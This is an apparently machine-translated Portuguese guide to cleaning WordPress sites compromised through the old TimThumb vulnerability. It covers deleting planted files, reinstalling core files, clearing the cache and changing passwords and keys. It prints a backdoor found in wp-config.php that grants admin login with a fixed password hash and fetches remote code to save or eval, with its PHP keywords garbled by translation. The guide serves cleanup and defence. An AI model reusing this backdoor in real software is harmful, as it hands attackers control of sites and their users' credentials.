Então, se você se lembrar corretamente, houve um problema de segurança com o script TimThumb em agosto, que foi corrigido. Entretanto, para nossa surpresa, muitos sites ainda estão usando a versão antiga. Nós reparamos três sites até o momento no mês passado, um sendo ontem. Então, faz sentido simplesmente escrever um artigo passo a passo, então nossos usuários podem apenas segui-lo. Todos os três usuários que corrigimos essa questão nem sabia o que TimThumb era ou se eles estavam usando ou não.
TimThumb é um script PHP que redimensiona as imagens. Houve uma vulnerabilidade nele, mas é SEGURO usar agora.
Então, como você sabe que seu site é pirateado? Se você vir uma tela vermelha grande em seu navegador quando visitar seu site:
Se você começar a ser bombardeado com e-mails sobre usuários sendo redirecionados do seu site. Provavelmente, o caso é que seu site foi vítima dessa exploração.
Como medida pró-cautela, todos devem usar este Scanner de Vulnerabilidade Timthumb. Isso irá dizer se você está usando a versão mais antiga do TimThumb. Muitos clubes temáticos atualizaram seu núcleo imediatamente. Então este plugin verificará se a nova versão segura do Timthumb está instalada ou uma versão mais antiga está instalada.
Agora, se seu site já está preso a esta explicação Timthumb, então aqui está o que você precisa fazer.
Primeiro você precisa excluir os seguintes arquivos:
/wp-admin/upd.php /wp-content/upd.php
Faça login no painel de administração do WordPress e reinstale sua versão do WordPress. Estamos especificamente procurando reinstalar esses arquivos:
/wp-settings.php /wp-includes/js/jquery/jquery.js /wp-includes/js/110n.js
Então abra seu wp-config.php onde você provavelmente encontrará este código de malware grande que está coletando credenciais de login e cookies. Este código será em direção ao fundo.
se (isset ($ _ GET ['pingnow']) && isset ($ _ GET ['pass'])) { se ($ _GET ['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22') { se ($ _GET ['pingnow'] == 'login') { $ user_login = 'admin'; $ user = get_userdatabylogin ($ user_login); $ user_id = $ user-> ID; wp_set_current_user ($ user_id, $ user_login); wp_set_auth_cookie ($ user_id); do_action ('wp_login', $ user_login); } se (($ _GET ['pingnow'] == 'exec') && (isset ($ _ GET ['file']))) { $ ch = curl_init ($ _ GET ['file']); $ fnm = md5 (rand (0,100)). '. php'; $ fp = fopen ($ fnm, "w"); curl_setopt ($ ch, CURLOPT_FILE, $ fp); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); curl_exec ($ ch); curl_close ($ ch); fclose ($ fp); eco ""; } se (($ _GET ['pingnow'] == 'eval') && (isset ($ _ GET ['file']))) { $ ch = curl_init ($ _ GET ['file']); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); $ re = curl_exec ($ ch); curl_close ($ ch); eval ($ re); }}}
Na pasta do seu tema, procure por qualquer lugar onde o script TimThumb possa armazenar os arquivos em cache. Geralmente eles estão nesta estrutura:
/wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php /wp-content/themes/themename/temp/cache/external_{MD5Hash}.php
Exclua tudo que se pareça com isto. Se você não tem certeza sobre as coisas, exclua tudo o que não é um arquivo de imagem.
A próxima coisa que você quer fazer é substituir timthumb.php pela última versão que pode ser encontrada em http://timthumb.googlecode.com/svn/trunk/timthumb.php
Agora, seria uma boa idéia mudar suas senhas começando com suas informações de login do MySQL para suas informações de login do WordPress. Não se esqueça de alterar a senha do MySQL no wp-config.php ou você terá a tela “Erro que estabelece conexão”.
Mude as chaves secretas no seu arquivo wp-config.php. Você pode gerar uma nova chave acessando o gerador online.
Agora você está pronto. Não esqueça de esvaziar todos os plugins de cache de página. Como medida cautelosa, é bom limpar o cache e os cookies do seu navegador.
Para desenvolvedores, tente usar o recurso Tamanho de imagem adicional no WordPress para substituir as funcionalidades de Timthumb.
Deixe-nos saber se você precisa de mais assistência usando nosso formulário de contato.